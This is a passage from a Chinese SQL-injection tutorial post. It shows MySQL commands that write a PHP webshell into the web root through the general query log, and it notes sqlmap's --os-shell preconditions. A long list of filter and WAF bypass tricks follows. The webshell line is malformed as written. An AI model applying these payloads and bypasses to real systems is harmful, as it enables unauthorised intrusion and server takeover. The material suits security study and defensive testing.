SQL 注入基础知识-4
- show variables like '%general%'; #查看
- set global general_log = on; #开启日志
- set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php'; #设置日志路径
3、执行select '<?php @_POST['cmd']?>'就可以在日志文件里
三、--os-shell参数
1、使用sqlmap去跑。前提有SQL注入漏洞
2、条件:secure_file_priv没有具体值和知道网站的绝对路径
绕过
一、等号被过滤
1、使用算术运算符【< > <> 】
注:<>为不等于,相当于!=
2、使用like,rlike,regexp语句
注:like结合通配符(%,_)使用。rlike,regexp结合正则使用
3、使用in,between语句
二、截取函数substr,mid被过滤
1、使用locate函数
locate(str1,str2):返回str1在str2第一次出现的位置,没有返回0
locate(str1,str2,pos):pos为起始位置。如果一个字符在字符串中出现两次,pos必须大于第一次出现的位置。
2、使用position函数
position(str1 in str2):返回str1在str2出现的位置,没有返回0。str1为str2的子字符串
3、使用instr函数
instr(str1,str2):返回str2在str1出现的位置,没有返回0。str2为str1的子字符串
4、lpad和rpad函数:用于在字符串前面或后面添加特定字符的函数
lpad(str,num,'特定字符'):str为字符串,num为数字。str不够num数量时在前面添加特定字符。
rpad(str,num,'特定字符'):str为字符串,num为数字。str不够num数量时在后面添加特定字符。
三、逗号被过滤
1、将逗号进行URL编码成%2C
2、使用from xx for xx,from xx
如select substr(database()from 1 for 1)='s'
四、and/or被过滤
1、使用&&、||
注:在oracle数据库中,||为拼接字符。
2、like,需要与if函数使用
五、其他绕过
1、大小写绕过
2、双写绕过
3、注释符绕过://、--、/**/、;、--+、%00
4、编码绕过
5、空格绕过:%20、/**/、%0a、/*!*/、%09
6、内联注释:/*!12345user()*/
7、扰乱原始的sql查询语句结构
上一篇: [Python] .tsp 文件读取
下一篇: 尖端的春天
推荐阅读
-
SQL 注入基础知识-4
-
伪静态 sql 注入 - 掘金
-
当 Mybatis 动态指定表名和列名时,如何防止 SQL 注入?-方法 1
-
Rendezvous CRM SQL 注入漏洞再次发生
-
Rendezvous CRM 系统中的 SQL 注入漏洞 [2023-HW]-I.产品描述
-
给妻子的极客程序员电脑课第 4 课:SQL 与 NoSQL
-
SQL 注入 sqli_labs 范围 问题 7 和 8
-
Netcom NS-ASG 应用程序安全网关 SQL 注入漏洞复制(CVE-2024-3458、CVE-2024-3457、CVE-2024-3456、CVE-2024-3455)
-
CSS 基础知识:对填充的 4 种用途的最详细分析
-
安卓基础知识摘要 (4) - 广播接收器